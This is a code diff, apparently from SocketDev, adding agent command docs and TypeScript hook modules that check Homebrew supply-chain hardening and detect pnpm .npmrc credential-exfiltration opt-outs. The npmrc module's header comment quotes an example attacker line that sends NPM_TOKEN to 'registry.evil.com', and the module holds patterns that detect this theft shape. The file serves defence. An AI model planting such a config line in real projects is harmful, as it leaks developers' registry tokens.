SocketDev
diff --git a/‎.claude/commands/fleet/green-ci-local.md‎
Lines changed: 23 additions & 0 deletions b/‎.claude/commands/fleet/green-ci-local.md‎
Lines changed: 23 additions & 0 deletions
diff --git a/‎.claude/commands/fleet/researching-recency.md‎
Lines changed: 10 additions & 0 deletions b/‎.claude/commands/fleet/researching-recency.md‎
Lines changed: 10 additions & 0 deletions
diff --git a/‎.claude/hooks/fleet/_shared/brew-supply-chain.mts‎
Lines changed: 182 additions & 0 deletions b/‎.claude/hooks/fleet/_shared/brew-supply-chain.mts‎
Lines changed: 182 additions & 0 deletions
diff --git a/‎.claude/hooks/fleet/_shared/npmrc-trust.mts‎
Lines changed: 180 additions & 0 deletions b/‎.claude/hooks/fleet/_shared/npmrc-trust.mts‎
Lines changed: 180 additions & 0 deletions
@@ -0,0 +1,23 @@
+---
+description: Drive a repo's CI to green LOCALLY with Agent-CI (Docker) — run a workflow in containers, fix the first paused failure, retry in place, loop until green. The local pre-flight before a push or a remote build-matrix dispatch.
+---
+
+Run `$ARGUMENTS` through Agent-CI locally and drive it to green without a push or
+remote runner minutes.
+
+`$ARGUMENTS` is parsed as: `[workflow.yml]` `[--no-matrix]`. Default: all PR/push
+workflows for the current branch (`pnpm run ci:local`). Pass a workflow path to
+validate one (e.g. a release/build workflow before dispatching it remotely);
+`--no-matrix` collapses a matrix to one representative leg for a fast first pass.
+
+Requires Docker running (OrbStack on macOS — `open -a OrbStack`, confirm
+`docker info`). On a paused step the model reads the failure log, fixes the code
+locally, and `agent-ci retry`s the SAME runner — it does not restart the
+pipeline. Env-gap failures (Depot/OIDC, runner-only libs, skipped macOS legs) are
+reported as the local boundary, not code defects, and still need the remote run.
+
+The local twin of `/green-ci` (which watches GitHub Actions remotely + pushes
+fixes). Use this first to catch breaks in containers; use `/green-ci` for the
+remote run that produces real release artifacts.
+
+Invokes the `greening-ci-local` skill.
@@ -0,0 +1,10 @@
+---
+description: Research what the dev community is actually saying and shipping about a tool, library, language, or maintainer over the last 30 days — fans out across GitHub, Hacker News, Reddit, Lobsters, dev.to (opt-in X/Bluesky), ranks by real engagement, and synthesizes a cited brief. Read-only.
+---
+
+Run the `researching-recency` skill.
+
+Pass the topic as the argument, e.g. `/researching-recency rolldown` or
+`/researching-recency "Claude Fable 5 pricing vs Opus"`. Use it before adopting
+a dependency, choosing between tools, or whenever you need recent ground truth a
+stale README or training cutoff won't give you.
@@ -0,0 +1,182 @@
+/**
+ * @file Single source of truth for "is this machine's Homebrew hardened to the
+ *   6.0.0 supply-chain posture?" — shared by the brew-supply-chain-guard hook
+ *   (point-of-use block), the brew-supply-chain-is-hardened.mts check (drift
+ *   report in `check --all`), and setup-security-tools (which sets the knobs).
+ *   Homebrew 6.0.0 (https://brew.sh/2026/06/11/homebrew-6.0.0/) added two
+ *   opt-in supply-chain controls plus the machinery they depend on:
+ *
+ *   - HOMEBREW_REQUIRE_TAP_TRUST: refuse to evaluate third-party tap code until
+ *     it is explicitly trusted (`brew trust …`). Closes the tap-as-RCE surface
+ *     — see docs.brew.sh/Tap-Trust.
+ *   - HOMEBREW_CASK_OPTS_REQUIRE_SHA: refuse a cask whose download has no pinned
+ *     checksum (`sha256 :no_check`). Closes the unverified-download surface —
+ *     see docs.brew.sh/Supply-Chain-Security. Both knobs are silently IGNORED
+ *     by an older Homebrew, so the only real enforcement is a version floor: a
+ *     `brew` below 6.0.0 is not hardenable and the guard blocks it until the
+ *     operator upgrades. This concern is DISTINCT from
+ *     package-manager-auto-update.mts (which owns the "don't change a tool
+ *     version mid-task" knob, HOMEBREW_NO_AUTO_UPDATE) — one module per
+ *     concern, per the single-responsibility hook rule.
+ */
+
+// oxlint-disable-next-line socket/prefer-async-spawn -- detection runs in a sync hook + sync audit script; needs typed string stdout, no async.
+import { spawnSync } from '@socketsecurity/lib-stable/process/spawn/child'
+import os from 'node:os'
+import process from 'node:process'
+
+import { gte } from '@socketsecurity/lib-stable/versions/compare'
+import { coerceVersion } from '@socketsecurity/lib-stable/versions/parse'
+
+import { findInvocation } from './shell-command.mts'
+
+// The Homebrew release that introduced the supply-chain knobs below. A `brew`
+// older than this silently ignores the env vars, so the floor is the gate.
+export const BREW_MIN_VERSION = '6.0.0'
+
+// Docs the operator is pointed at when the guard / audit fires.
+export const BREW_TAP_TRUST_DOCS = 'https://docs.brew.sh/Tap-Trust'
+export const BREW_SUPPLY_CHAIN_DOCS =
+  'https://docs.brew.sh/Supply-Chain-Security'
+
+export interface BrewSecurityEnv {
+  // The env-var name a shell `export` sets.
+  name: string
+  // The value that turns the control on (always '1' today).
+  value: string
+  // One-line description of what the control protects against, surfaced in
+  // audit / guard output.
+  protects: string
+}
+
+// The Homebrew 6.0.0 supply-chain knobs setup-security-tools persists into the
+// managed shell-rc block on macOS. Single source of truth shared with the
+// detector below — the shell-rc bridge imports this list instead of hardcoding
+// a divergent copy, so a future brew knob added here flows into the persisted
+// block automatically. Listed alphabetically by env name.
+export const MACOS_BREW_SECURITY_ENV: readonly BrewSecurityEnv[] = [
+  {
+    name: 'HOMEBREW_CASK_OPTS_REQUIRE_SHA',
+    value: '1',
+    protects:
+      'refuses a cask download with no pinned checksum (sha256 :no_check)',
+  },
+  {
+    name: 'HOMEBREW_REQUIRE_TAP_TRUST',
+    value: '1',
+    protects:
+      'refuses to evaluate an untrusted third-party tap until `brew trust` approves it',
+  },
+]
+
+export interface BrewSecurityStatus {
+  // 'hardened' = brew is >= the floor AND every knob is on (good); 'unhardened'
+  // = brew present but the floor or a knob is unmet (blockable drift); 'absent'
+  // = brew isn't on PATH, so the check is not applicable (never blocks).
+  state: 'hardened' | 'unhardened' | 'absent'
+  // The detected Homebrew version, or undefined when brew is absent / its
+  // version couldn't be read.
+  version: string | undefined
+  // True when the detected version is >= BREW_MIN_VERSION.
+  versionOk: boolean
+  // Env knobs that are NOT set to their hardened value.
+  missingEnv: readonly BrewSecurityEnv[]
+  // One-line explanation of what was read.
+  reason: string
+}
+
+// True when an env var is set to a truthy "on" value (1 / true / yes / on).
+export function brewEnvIsOn(name: string): boolean {
+  const v = process.env[name]?.trim().toLowerCase()
+  return v === '1' || v === 'true' || v === 'yes' || v === 'on'
+}
+
+// True when `brew` resolves on PATH. `command -v` is a shell builtin (not
+// spawnable directly), so probe with the platform PATH resolver: `where` on
+// Windows, `which` elsewhere. Homebrew is macOS/Linux only; on win32 this is
+// always false.
+export function hasBrew(): boolean {
+  const resolver = os.platform() === 'win32' ? 'where' : 'which'
+  try {
+    return spawnSync(resolver, ['brew'], { stdio: 'pipe' }).status === 0
+  } catch {
+    return false
+  }
+}
+
+// Read the installed Homebrew version, or undefined when brew is missing / the
+// call fails. `brew --version` prints e.g. "Homebrew 6.0.0\nHomebrew/..." — the
+// first line's trailing token is the version. coerceVersion tolerates the
+// occasional git-describe suffix (e.g. "6.0.0-1-gabc123").
+export function readBrewVersion(): string | undefined {
+  let stdout: unknown
+  try {
+    const result = spawnSync('brew', ['--version'], { stdio: 'pipe' })
+    if (result.status !== 0) {
+      return undefined
+    }
+    ;({ stdout } = result)
+  } catch {
+    return undefined
+  }
+  const text = typeof stdout === 'string' ? stdout : String(stdout)
+  const firstLine = text.split(/\r?\n/u, 1)[0]?.trim() ?? ''
+  const token = firstLine.replace(/^Homebrew\s+/iu, '').trim()
+  const coerced = coerceVersion(token)
+  return coerced ? String(coerced) : undefined
+}
+
+// Read the current machine's Homebrew supply-chain posture. Pure-ish: only
+// reads env + `brew --version`. Never mutates.
+export function detectBrewSecurity(): BrewSecurityStatus {
+  if (!hasBrew()) {
+    return {
+      state: 'absent',
+      version: undefined,
+      versionOk: false,
+      missingEnv: [],
+      reason: 'brew not on PATH',
+    }
+  }
+  const version = readBrewVersion()
+  const versionOk = version !== undefined && gte(version, BREW_MIN_VERSION)
+  const missingEnv = MACOS_BREW_SECURITY_ENV.filter(
+    knob => !brewEnvIsOn(knob.name),
+  )
+  if (versionOk && missingEnv.length === 0) {
+    return {
+      state: 'hardened',
+      version,
+      versionOk,
+      missingEnv: [],
+      reason: `Homebrew ${version} with tap-trust + cask-SHA enforced`,
+    }
+  }
+  const parts: string[] = []
+  if (!versionOk) {
+    parts.push(
+      version === undefined
+        ? 'Homebrew version unreadable'
+        : `Homebrew ${version} is below the ${BREW_MIN_VERSION} floor`,
+    )
+  }
+  if (missingEnv.length > 0) {
+    parts.push(`unset: ${missingEnv.map(k => k.name).join(', ')}`)
+  }
+  return {
+    state: 'unhardened',
+    version,
+    versionOk,
+    missingEnv,
+    reason: parts.join('; '),
+  }
+}
+
+// True when the Bash command invokes `brew` (AST-matched, no regex). Used by
+// the guard to decide whether to verify brew's posture before the call runs.
+export function commandInvokesBrew(command: string): boolean {
+  return findInvocation(command, { binary: 'brew' })
+}
+
+// The bypass phrase that suppresses the brew-supply-chain guard.
+export const BREW_SUPPLY_CHAIN_BYPASS_PHRASE = 'Allow brew-supply-chain bypass'
@@ -0,0 +1,180 @@
+/**
+ * @file Shared detector for the pnpm "trust-aware env expansion" opt-out — the
+ *   escape hatch pnpm 10.34.2 / 11.5.3 added when it stopped expanding
+ *   `${ENV_VAR}` in repo-controlled credential settings. Consumed by BOTH the
+ *   `npmrc-trust-optout-guard` hook (Bash + Edit/Write surfaces) and the
+ *   commit-time `trust-gates-are-not-weakened.mts` check (code is law, DRY).
+ *
+ *   The threat: a malicious repo commits `.npmrc` with
+ *   `//registry.evil.com/:_authToken=${NPM_TOKEN}`; old pnpm expanded the
+ *   placeholder and shipped the developer's token to the attacker's registry at
+ *   `pnpm install`. The fix made expansion of `_authToken` / `registry` /
+ *   `@scope:registry` in repo-controlled files refuse-by-default.
+ *
+ *   Two opt-out env vars DISABLE that protection for a checkout:
+ *
+ *   - `PNPM_CONFIG_NPMRC_AUTH_FILE` (pnpm v11)
+ *   - `NPM_CONFIG_USERCONFIG` pointed at a repo `.npmrc` (v10 fallback)
+ *
+ *   Setting either re-opens the exfiltration hole. The only legitimate use is a
+ *   CI image that builds exclusively trusted first-party repos — rare, and
+ *   gated behind the hook's bypass phrase.
+ *
+ *   This module is pure: callers pass text (a shell command, a file's
+ *   about-to-land contents) and get back the list of offenses. No file or
+ *   process access.
+ */
+
+/** The two env vars whose presence disables pnpm's trust-aware expansion. */
+export const TRUST_OPTOUT_ENV_VARS = [
+  'PNPM_CONFIG_NPMRC_AUTH_FILE',
+  'NPM_CONFIG_USERCONFIG',
+] as const
+
+export type TrustOptoutEnvVar = (typeof TRUST_OPTOUT_ENV_VARS)[number]
+
+const ENV_VAR_SET = new Set<string>(TRUST_OPTOUT_ENV_VARS)
+
+/**
+ * Pull the variable name out of a single `NAME=value`, `export NAME=value`, or
+ * `NAME` assignment token. Returns undefined when the token isn't a recognized
+ * env-var name we care about.
+ *
+ * `NPM_CONFIG_USERCONFIG` only matters when it points at a repo-local `.npmrc`
+ * (the v10 attack shape) — pointing it at `~/.npmrc` or `/dev/null` is benign.
+ * We can only judge the value when the assignment carries one; for a bare
+ * `export NPM_CONFIG_USERCONFIG` with no value we report it (better to ask than
+ * to miss the attack).
+ */
+function classifyAssignment(name: string, value: string | undefined): boolean {
+  if (!ENV_VAR_SET.has(name)) {
+    return false
+  }
+  if (name === 'NPM_CONFIG_USERCONFIG' && value !== undefined) {
+    // The attack shape is pointing npm/pnpm config at a REPO-LOCAL `.npmrc`
+    // (a relative path, or one inside the checkout) so the committed file's
+    // `${ENV}` lines get expanded. A HOME / absolute path (`~/.npmrc`,
+    // `$HOME/.npmrc`, `/etc/npmrc`) or `/dev/null` points AWAY from the repo
+    // and is the normal, safe setup — benign.
+    const v = value.replace(/^["']|["']$/g, '').trim()
+    const pointsOutsideRepo =
+      v.startsWith('~') ||
+      v.startsWith('$HOME') ||
+      v.startsWith('${HOME}') ||
+      v.startsWith('/') // absolute path — not a repo-relative file
+    if (pointsOutsideRepo) {
+      return false
+    }
+    // Anything else (`.npmrc`, `./.npmrc`, `config/.npmrc`) is repo-relative →
+    // the attack shape → reported.
+  }
+  return true
+}
+
+/**
+ * Scan parsed shell command segments for a trust-opt-out env-var assignment.
+ * Pass the `Command[]` from `_shared/shell-command.mts` `parseCommands()`. We
+ * inspect three shapes:
+ *
+ *   - `NAME=value pnpm i`         → surfaces in `cmd.assignments`
+ *   - `export NAME=value`         → `cmd.binary === 'export'`, arg `NAME=value`
+ *   - bare `NAME=value`           → `cmd.assignments` on an empty-binary segment
+ *
+ * Returns the set of offending env-var names found.
+ */
+export function detectOptoutInCommands(
+  commands: ReadonlyArray<{
+    readonly binary: string
+    readonly args: readonly string[]
+    readonly assignments: readonly string[]
+  }>,
+): Set<TrustOptoutEnvVar> {
+  const found = new Set<TrustOptoutEnvVar>()
+  const consider = (token: string): void => {
+    const eq = token.indexOf('=')
+    const name = eq > 0 ? token.slice(0, eq) : token
+    const value = eq > 0 ? token.slice(eq + 1) : undefined
+    if (classifyAssignment(name, value)) {
+      found.add(name as TrustOptoutEnvVar)
+    }
+  }
+  for (const cmd of commands) {
+    for (const a of cmd.assignments) {
+      consider(a)
+    }
+    if (cmd.binary === 'export' || cmd.binary === 'setenv') {
+      for (const a of cmd.args) {
+        consider(a)
+      }
+    }
+  }
+  return found
+}
+
+/**
+ * Scan an about-to-land file's text for a trust-opt-out env var assignment.
+ * Catches the same vars landed into a committed shell script, workflow YAML,
+ * Dockerfile, dotenv, etc. — a line that ASSIGNS or EXPORTS one of the vars.
+ * Line-oriented so it works across `.sh` / `.yml` / `Dockerfile` / `.env`
+ * without per-format parsing.
+ *
+ * Returns the offending var names paired with their 1-based line numbers.
+ */
+export function detectOptoutInFileText(
+  text: string,
+): Array<{ name: TrustOptoutEnvVar; line: number }> {
+  const out: Array<{ name: TrustOptoutEnvVar; line: number }> = []
+  const lines = text.split(/\r?\n/)
+  for (let i = 0, { length } = lines; i < length; i += 1) {
+    const line = lines[i]!
+    for (const name of TRUST_OPTOUT_ENV_VARS) {
+      if (!line.includes(name)) {
+        continue
+      }
+      // Match `NAME=`, `export NAME=`, `ENV NAME=`/`ENV NAME ` (Dockerfile),
+      // and YAML `NAME: value`. Require the var name as a whole token followed
+      // by `=` or `:` so a mention in a comment/string without assignment
+      // (e.g. documenting the var) does not false-fire on its own — but a
+      // comment that still performs an assignment is intentionally caught.
+      const assignRe = new RegExp(`(^|[\\s'"])${name}\\s*[:=]`)
+      const dockerfileEnvRe = new RegExp(`(^|\\s)ENV\\s+${name}\\s`)
+      if (assignRe.test(line) || dockerfileEnvRe.test(line)) {
+        const value = line.slice(line.indexOf(name) + name.length).replace(/^\s*[:=]\s*/, '')
+        if (classifyAssignment(name, value || undefined)) {
+          out.push({ line: i + 1, name })
+        }
+      }
+    }
+  }
+  return out
+}
+
+const AUTH_OR_REGISTRY_KEY_RE = /(?:_authToken|^registry|:registry)\s*=/
+
+/**
+ * Detect the exfiltration SHAPE in a committed `.npmrc`: an `${ENV}` (or
+ * `$ENV`) placeholder on a `_authToken=` / `registry=` / `@scope:registry=`
+ * line. This is exactly what pnpm's trust-aware change refuses to expand;
+ * committing it is the credential-theft setup. Returns offending 1-based line
+ * numbers.
+ */
+export function detectAuthEnvPlaceholderInNpmrc(text: string): number[] {
+  const out: number[] = []
+  const lines = text.split(/\r?\n/)
+  for (let i = 0, { length } = lines; i < length; i += 1) {
+    const raw = lines[i]!
+    const trimmed = raw.trim()
+    if (!trimmed || trimmed.startsWith('#') || trimmed.startsWith(';')) {
+      continue
+    }
+    if (!AUTH_OR_REGISTRY_KEY_RE.test(trimmed)) {
+      continue
+    }
+    // `${VAR}` or `$VAR` after the `=`.
+    const value = trimmed.slice(trimmed.indexOf('=') + 1)
+    if (/\$\{?[A-Za-z_]/.test(value)) {
+      out.push(i + 1)
+    }
+  }
+  return out
+}